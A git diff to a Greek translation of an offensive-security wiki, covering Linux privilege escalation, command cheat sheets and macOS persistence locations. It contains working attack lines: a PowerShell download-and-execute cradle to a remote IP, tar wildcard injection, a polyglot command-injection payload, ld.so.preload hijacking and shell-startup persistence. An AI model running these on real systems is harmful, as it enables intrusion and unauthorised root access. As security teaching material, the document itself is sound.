χρήστης απλά δεν μπορεί να λειτουργήσει (εκτός αν έχετε μια ρύθμιση χωρίς root). Η ρύθμιση χωρίς root ως προεπιλεγμένη δεν είναι γενικά καλή ιδέα επειδή υπάρχουν αρκετοί περιορισμοί μέσα σε κοντέινερ χωρίς root που δεν ισχύουν έξω από κοντέινερ χωρίς root. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 17a67550e..821b67d74 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -4,7 +4,7 @@ [Εισαγωγή και παράδειγμα από τα έγγραφα της redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) είναι ένα **σύστημα** **ετικετών**. Κάθε **διαδικασία** και κάθε **αντικείμενο** συστήματος αρχείων έχει μια **ετικέτα**. Οι πολιτικές SELinux καθορίζουν κανόνες σχετικά με το τι επιτρέπεται να κάνει μια **ετικέτα διαδικασίας** με όλες τις άλλες ετικέτες στο σύστημα. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) είναι ένα **σύστημα** **ετικετών**. Κάθε **διαδικασία** και κάθε **αντικείμενο** συστήματος αρχείων έχει μια **ετικέτα**. Οι πολιτικές SELinux ορίζουν κανόνες σχετικά με το τι επιτρέπεται να κάνει μια **ετικέτα διαδικασίας** με όλες τις άλλες ετικέτες στο σύστημα. Οι μηχανές κοντέινερ εκκινούν **διαδικασίες κοντέινερ με μια μόνο περιορισμένη ετικέτα SELinux**, συνήθως `container_t`, και στη συνέχεια ορίζουν το κοντέινερ μέσα στο κοντέινερ να έχει την ετικέτα `container_file_t`. Οι κανόνες πολιτικής SELinux ουσιαστικά λένε ότι οι **διαδικασίες `container_t` μπορούν μόνο να διαβάζουν/γράφουν/εκτελούν αρχεία με ετικέτα `container_file_t`**. Εάν μια διαδικασία κοντέινερ διαφύγει από το κοντέινερ και προσπαθήσει να γράψει σε περιεχόμενο στον οικοδεσπότη, ο πυρήνας Linux αρνείται την πρόσβαση και επιτρέπει μόνο στη διαδικασία κοντέινερ να γράψει σε περιεχόμενο με ετικέτα `container_file_t`. ```shell diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index ec52af139..1f27eccf8 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,7 +2,7 @@ ## Παράδειγμα δέσμευσης socket με Python -Στο παρακάτω παράδειγμα δημιουργείται ένα **unix socket** (`/tmp/socket_test.s`) και όλα όσα **λαμβάνονται** θα **εκτελούνται** από το `os.system`. Ξέρω ότι δεν πρόκειται να το βρείτε στην πραγματικότητα, αλλά ο στόχος αυτού του παραδείγματος είναι να δείτε πώς φαίνεται ο κώδικας που χρησιμοποιεί unix sockets και πώς να διαχειριστείτε την είσοδο στην χειρότερη δυνατή περίπτωση. +Στο παρακάτω παράδειγμα δημιουργείται ένα **unix socket** (`/tmp/socket_test.s`) και όλα όσα **λαμβάνονται** θα **εκτελούνται** από το `os.system`. Ξέρω ότι δεν πρόκειται να το βρείτε στην πραγματικότητα, αλλά ο στόχος αυτού του παραδείγματος είναι να δείτε πώς φαίνεται ένας κώδικας που χρησιμοποιεί unix sockets και πώς να διαχειριστείτε την είσοδο στην χειρότερη περίπτωση. ```python:s.py import socket import os, os.path diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 4dafca0f4..930519ec2 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -24,7 +24,7 @@ **Εκτέλεση Εκμετάλλευσης:** 1. Ο επιτιθέμενος αποκτά τον κωδικό του agent UF. -2. Χρησιμοποιεί το API του Splunk για να στείλει εντολές ή σενάρια στους agents. +2. Χρησιμοποιεί το API του Splunk για να στείλει εντολές ή scripts στους agents. 3. Πιθανές ενέργειες περιλαμβάνουν εξαγωγή αρχείων, χειρισμό λογαριασμών χρηστών και διακυβέρνηση συστήματος. **Επίπτωση:** diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index d6fcc1896..871f53718 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -6,9 +6,9 @@ ``` ForwardAgent yes ``` -Αν είστε root μέσα στη μηχανή, μπορείτε πιθανώς να **έχετε πρόσβαση σε οποιαδήποτε ssh σύνδεση έχει γίνει από οποιονδήποτε πράκτορα** που μπορείτε να βρείτε στον _/tmp_ φάκελο. +Αν είστε root μέσα στη μηχανή, μπορείτε πιθανώς να **έχετε πρόσβαση σε οποιαδήποτε ssh σύνδεση που έχει γίνει από οποιονδήποτε πράκτορα** που μπορείτε να βρείτε στον _/tmp_ φάκελο. -Προσωποποιήστε τον Bob χρησιμοποιώντας έναν από τους ssh-agent του Bob: +Προσομοιώστε τον Bob χρησιμοποιώντας έναν από τους ssh-agent του Bob: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index b4a6da01f..d1827ceb3 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -16,7 +16,7 @@ touch "--reference=/my/own/path/filename" touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` -Μπορείτε να εκμεταλλευτείτε αυτό χρησιμοποιώντας [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(επίθεση tar)_\ +Μπορείτε να εκμεταλλευτείτε αυτό χρησιμοποιώντας [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ Περισσότερες πληροφορίες στο [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync @@ -47,7 +47,7 @@ cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` -Τότε, όταν εκτελείται το **7z**, θα θεωρήσει το `root.txt` ως ένα αρχείο που περιέχει τη λίστα των αρχείων που πρέπει να συμπιέσει (αυτό υποδηλώνει η ύπαρξη του `@root.txt`) και όταν το 7z διαβάσει το `root.txt`, θα διαβάσει το `/file/you/want/to/read` και **καθώς το περιεχόμενο αυτού του αρχείου δεν είναι μια λίστα αρχείων, θα εμφανίσει ένα σφάλμα** δείχνοντας το περιεχόμενο. +Τότε, όταν εκτελείται το **7z**, θα θεωρήσει το `root.txt` ως ένα αρχείο που περιέχει τη λίστα των αρχείων που πρέπει να συμπιέσει (αυτό υποδεικνύει η ύπαρξη του `@root.txt`) και όταν το 7z διαβάσει το `root.txt`, θα διαβάσει το `/file/you/want/to/read` και **καθώς το περιεχόμενο αυτού του αρχείου δεν είναι μια λίστα αρχείων, θα εμφανίσει ένα σφάλμα** δείχνοντας το περιεχόμενο. _Περισσότερες πληροφορίες στα Write-ups του box CTF από το HackTheBox._ diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 2df034bf8..c7c873e14 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -4,7 +4,7 @@ ### /etc/ld.so.preload -Αυτό το αρχείο συμπεριφέρεται όπως η μεταβλητή περιβάλλοντος **`LD_PRELOAD`** αλλά λειτουργεί επίσης σε **SUID binaries**.\ +Αυτό το αρχείο συμπεριφέρεται όπως η **`LD_PRELOAD`** μεταβλητή περιβάλλοντος αλλά λειτουργεί επίσης σε **SUID binaries**.\ Αν μπορείτε να το δημιουργήσετε ή να το τροποποιήσετε, μπορείτε απλά να προσθέσετε μια **διαδρομή σε μια βιβλιοθήκη που θα φορτωθεί** με κάθε εκτελούμενο δυαδικό αρχείο. Για παράδειγμα: `echo "/tmp/pe.so" > /etc/ld.so.preload` diff --git a/src/linux-hardening/useful-linux-commands.md b/src/linux-hardening/useful-linux-commands.md index 2ee9f1b39..d38bbad08 100644 --- a/src/linux-hardening/useful-linux-commands.md +++ b/src/linux-hardening/useful-linux-commands.md @@ -1,17 +1,8 @@ -# Useful Linux Commands - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +# Χρήσιμες Εντολές Linux {{#include ../banners/hacktricks-training.md}} -## Common Bash - +## Κοινές Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +121,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash για Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +141,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +221,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Βρείτε ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +250,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Βοήθεια αναζήτησης Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - -## Bash - +## Μπάσα ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +293,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 9b3587793..5b2331db9 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -198,7 +198,7 @@ chmod +x [ export PATH=/tmp:$PATH if [ "a" ]; then echo 1; fi # Will print hello! ``` -### Πολυγλωσσική έγχυση εντολών +### Πολυγλωσσική ένεση εντολών ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 0b33b95d0..43aad3b70 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,7 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} - -# Sudo/Διαχειριστικές Ομάδες +# Sudo/Διαχειριστικά Γκρουπ ## **PE - Μέθοδος 1** @@ -25,14 +24,13 @@ sudo su ```bash find / -perm -4000 2>/dev/null ``` -Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι SUID δυαδικό και ανήκετε σε sudo ή admin, θα μπορούσατε πιθανώς να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec. -Ελέγξτε τα περιεχόμενα του: +Αν διαπιστώσετε ότι το δυαδικό αρχείο pkexec είναι SUID δυαδικό και ανήκετε σε sudo ή admin, πιθανόν να μπορείτε να εκτελέσετε δυαδικά αρχεία ως sudo χρησιμοποιώντας το pkexec. Ελέγξτε τα περιεχόμενα του: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί να **εμφανίζονται** κάποιες από τις ομάδες **sudo ή admin**. +Εκεί θα βρείτε ποιες ομάδες επιτρέπεται να εκτελούν **pkexec** και **κατά προεπιλογή** σε ορισμένα linux μπορεί **να εμφανιστούν** κάποιες από τις ομάδες **sudo ή admin**. -Για να **γίνετε root μπορείτε να εκτελέσετε**: +Για **να γίνετε root μπορείτε να εκτελέσετε**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` @@ -42,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**: +**Δεν είναι επειδή δεν έχετε άδειες, αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το πρόβλημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -71,7 +69,7 @@ sudo su ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -Λοιπόν, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**. +Έτσι, διαβάστε το αρχείο και προσπαθήστε να **σπάσετε μερικούς κατακερματισμούς**. # Ομάδα Δίσκου @@ -117,13 +115,13 @@ cat /sys/class/graphics/fb0/virtual_size # Root Group -Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για να **τροποποιήσουν** ορισμένα αρχεία ρυθμίσεων **υπηρεσιών** ή ορισμένα αρχεία **βιβλιοθηκών** ή **άλλα ενδιαφέροντα πράγματα** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων... +Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφέροντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων... **Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**: ```bash find / -group root -perm -g=w 2>/dev/null ``` -# Ομάδα Docker +# Docker Group Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. @@ -131,7 +129,7 @@ find / -group root -perm -g=w 2>/dev/null {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# Ομάδα lxc/lxd +# lxc/lxd Group [lxc - Privilege Escalation](lxd-privilege-escalation.md) diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index ffe82448f..c9e85d4ba 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -47,7 +47,7 @@ - `/System/Library/LaunchAgents`: Πράκτορες ανά χρήστη που παρέχονται από την Apple. - `/System/Library/LaunchDaemons`: Δαίμονες σε επίπεδο συστήματος που παρέχονται από την Apple. -Όταν ένας χρήστης συνδέεται, τα plists που βρίσκονται σε `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τις **άδειες των συνδεδεμένων χρηστών**. +Όταν ένας χρήστης συνδέεται, οι plists που βρίσκονται σε `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τις **άδειες των συνδεδεμένων χρηστών**. Η **κύρια διαφορά μεταξύ πρακτόρων και δαιμόνων είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι δαίμονες φορτώνονται κατά την εκκίνηση του συστήματος** (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελούνται πριν οποιοσδήποτε χρήστης αποκτήσει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν GUI ενώ οι δαίμονες πρέπει να εκτελούνται στο παρασκήνιο. ```xml @@ -107,7 +107,7 @@ launchctl list - **Mach port:** - `com.apple.xscertd-helper.plist`: Υποδεικνύει στην καταχώρηση `MachServices` το όνομα `com.apple.xscertd.helper` - **UserEventAgent:** -- Αυτό είναι διαφορετικό από το προηγούμενο. Κάνει το launchd να δημιουργεί εφαρμογές σε απάντηση σε συγκεκριμένα γεγονότα. Ωστόσο, σε αυτή την περίπτωση, το κύριο δυαδικό που εμπλέκεται δεν είναι το `launchd` αλλά το `/usr/libexec/UserEventAgent`. Φορτώνει πρόσθετα από τον περιορισμένο φάκελο SIP /System/Library/UserEventPlugins/ όπου κάθε πρόσθετο υποδεικνύει τον αρχικοποιητή του στην κλειδί `XPCEventModuleInitializer` ή, στην περίπτωση παλαιότερων πρόσθετων, στο λεξικό `CFPluginFactories` κάτω από το κλειδί `FB86416D-6164-2070-726F-70735C216EC0` του `Info.plist`. +- Αυτό είναι διαφορετικό από το προηγούμενο. Κάνει το launchd να δημιουργεί εφαρμογές σε απάντηση σε συγκεκριμένα γεγονότα. Ωστόσο, σε αυτή την περίπτωση, το κύριο δυαδικό που εμπλέκεται δεν είναι το `launchd` αλλά το `/usr/libexec/UserEventAgent`. Φορτώνει πρόσθετα από τον περιορισμένο φάκελο SIP /System/Library/UserEventPlugins/ όπου κάθε πρόσθετο υποδεικνύει τον αρχικοποιητή του στην κλειδαριά `XPCEventModuleInitializer` ή, στην περίπτωση παλαιότερων πρόσθετων, στο λεξικό `CFPluginFactories` κάτω από την κλειδαριά `FB86416D-6164-2070-726F-70735C216EC0` του `Info.plist` του. ### αρχεία εκκίνησης shell @@ -116,7 +116,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://thee - Χρήσιμο για να παρακάμψει το sandbox: [✅](https://emojipedia.org/check-mark-button) - TCC Bypass: [✅](https://emojipedia.org/check-mark-button) -- Αλλά χρειάζεστε να βρείτε μια εφαρμογή με TCC bypass που εκτελεί ένα shell που φορτώνει αυτά τα αρχεία +- Αλλά πρέπει να βρείτε μια εφαρμογή με TCC bypass που εκτελεί ένα shell που φορτώνει αυτά τα αρχεία #### Τοποθεσίες @@ -166,7 +166,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc Όλες οι εφαρμογές που θα επαναλειτουργήσουν βρίσκονται μέσα στο plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -Έτσι, για να κάνετε τις επαναλειτουργούσες εφαρμογές να εκτελούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**. +Έτσι, για να κάνετε τις επαναλειτουργούσες εφαρμογές να εκτελούν τη δική σας, απλώς χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**. Το UUID μπορεί να βρεθεί καταγράφοντας αυτή τη διαδρομή ή με `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` @@ -190,7 +190,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist - Χρήσιμο για να παρακαμφθεί το sandbox: [✅](https://emojipedia.org/check-mark-button) - Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button) -- Ο τερματικός χρήστης έχει άδειες FDA του χρήστη που τον χρησιμοποιεί +- Ο τερματικός χρησιμοποιείται για να έχει άδειες FDA του χρήστη που τον χρησιμοποιεί #### Τοποθεσία @@ -201,7 +201,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist Στο **`~/Library/Preferences`** αποθηκεύονται οι προτιμήσεις του χρήστη στις Εφαρμογές. Ορισμένες από αυτές τις προτιμήσεις μπορούν να περιέχουν μια ρύθμιση για **εκτέλεση άλλων εφαρμογών/σκριπτών**. -Για παράδειγμα, ο Τερματικός μπορεί να εκτελέσει μια εντολή κατά την εκκίνηση: +Για παράδειγμα, ο Τερματικός μπορεί να εκτελέσει μια εντολή κατά την Εκκίνηση:
@@ -223,7 +223,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` Έτσι, αν το plist των προτιμήσεων του τερματικού στο σύστημα μπορούσε να αντικατασταθεί, τότε η **`open`** λειτουργία μπορεί να χρησιμοποιηθεί για να **ανοίξει το τερματικό και αυτή η εντολή θα εκτελείται**. -Μπορείτε να το προσθέσετε από το cli με: +Μπορείτε να το προσθέσετε αυτό από το cli με: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -299,6 +299,52 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https:// - **Trigger**: Επανεκκίνηση του coreaudiod ή του υπολογιστή - **`~/Library/Audio/Plug-ins/Components`** - **Trigger**: Επανεκκίνηση του coreaudiod ή του υπολογιστή +- **`/System/Library/Components`** +- Απαιτείται root +- **Trigger**: Επανεκκίνηση του coreaudiod ή του υπολογιστή + +#### Description + +Σύμφωνα με τις προηγούμενες αναφορές, είναι δυνατό να **συγκεντρώσετε κάποια audio plugins** και να τα φορτώσετε. + +### QuickLook Plugins + +Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) + +- Χρήσιμο για να παρακάμψετε το sandbox: [✅](https://emojipedia.org/check-mark-button) +- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) +- Μπορεί να αποκτήσετε κάποια επιπλέον πρόσβαση TCC + +#### Location + +- `/System/Library/QuickLook` +- `/Library/QuickLook` +- `~/Library/QuickLook` +- `/Applications/AppNameHere/Contents/Library/QuickLook/` +- `~/Applications/AppNameHere/Contents/Library/QuickLook/` + +#### Description & Exploitation + +Τα QuickLook plugins μπορούν να εκτελούνται όταν **προκαλείτε την προεπισκόπηση ενός αρχείου** (πατήστε το space με το αρχείο επιλεγμένο στο Finder) και ένα **plugin που υποστηρίζει αυτόν τον τύπο αρχείου** είναι εγκατεστημένο. + +Είναι δυνατό να συγκεντρώσετε το δικό σας QuickLook plugin, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να πάτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε space για να το προκαλέσετε. + +### ~~Login/Logout Hooks~~ + +> [!CAUTION] +> Αυτό δεν λειτούργησε για μένα, ούτε με το LoginHook του χρήστη ούτε με το LogoutHook του root + +**Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) + +- Χρήσιμο για να παρακάμψετε το sandbox: [✅](https://emojipedia.org/check-mark-button) +- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) + +#### Location + +- Πρέπει να μπορείτε να εκτελέσετε κάτι σαν `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +- `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` + +Είναι απαρχαιωμένα αλλά μπορούν να χρησιμοποιηθούν για να εκτελούν εντολές όταν συνδέεται ένας χρήστης. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -349,11 +395,11 @@ defaults delete com.apple.loginwindow LogoutHook #### Περιγραφή & Εκμετάλλευση -Λίστα με τις δουλειές cron του **τρέχοντος χρήστη** με: +Καταγράψτε τις δουλειές cron του **τρέχοντος χρήστη** με: ```bash crontab -l ``` -Μπορείτε επίσης να δείτε όλες τις cron εργασίες των χρηστών στο **`/usr/lib/cron/tabs/`** και **`/var/at/tabs/`** (χρειάζεται root). +Μπορείτε επίσης να δείτε όλες τις εργασίες cron των χρηστών στο **`/usr/lib/cron/tabs/`** και **`/var/at/tabs/`** (χρειάζεται root). Στο MacOS, αρκετοί φάκελοι που εκτελούν σενάρια με **ορισμένη συχνότητα** μπορούν να βρεθούν σε: ```bash @@ -373,7 +419,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.g - Χρήσιμο για να παρακαμφθεί το sandbox: [✅](https://emojipedia.org/check-mark-button) - Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button) -- Το iTerm2 είχε παραχωρηθεί δικαιώματα TCC +- Το iTerm2 είχε προηγουμένως παραχωρηθεί άδειες TCC #### Τοποθεσίες @@ -452,7 +498,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.g - Χρήσιμο για να παρακαμφθεί το sandbox: [✅](https://emojipedia.org/check-mark-button) - Αλλά το xbar πρέπει να είναι εγκατεστημένο -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) +- Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button) - Ζητά άδειες προσβασιμότητας #### Τοποθεσία @@ -475,7 +521,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) - Χρήσιμο για να παρακαμφθεί το sandbox: [✅](https://emojipedia.org/check-mark-button) -- Αλλά το Hammerspoon πρέπει να είναι εγκατεστημένο +- Αλλά πρέπει να είναι εγκατεστημένο το Hammerspoon - Παράκαμψη TCC: [✅](https://emojipedia.org/check-mark-button) - Ζητά άδειες προσβασιμότητας @@ -488,7 +534,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματοποίησης για **macOS**, αξιοποιώντας τη **γλώσσα προγραμματισμού LUA** για τις λειτουργίες του. Σημαντικά, υποστηρίζει την ενσωμάτωση πλήρους κώδικα AppleScript και την εκτέλεση shell scripts, ενισχύοντας σημαντικά τις δυνατότητες scripting του. -Η εφαρμογή αναζητά ένα μόνο αρχείο, `~/.hammerspoon/init.lua`, και όταν ξεκινήσει, το script θα εκτελείται. +Η εφαρμογή αναζητά ένα μόνο αρχείο, `~/.hammerspoon/init.lua`, και όταν ξεκινήσει, το script θα εκτελεστεί. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -506,7 +552,7 @@ EOF - `~/Library/Application Support/BetterTouchTool/*` -Αυτό το εργαλείο επιτρέπει να υποδεικνύονται εφαρμογές ή σενάρια που θα εκτελούνται όταν πατηθούν ορισμένα συντομεύσεις. Ένας επιτιθέμενος μπορεί να είναι σε θέση να ρυθμίσει τη δική του **συντόμευση και ενέργεια για εκτέλεση στη βάση δεδομένων** για να εκτελεί αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε να είναι απλώς να 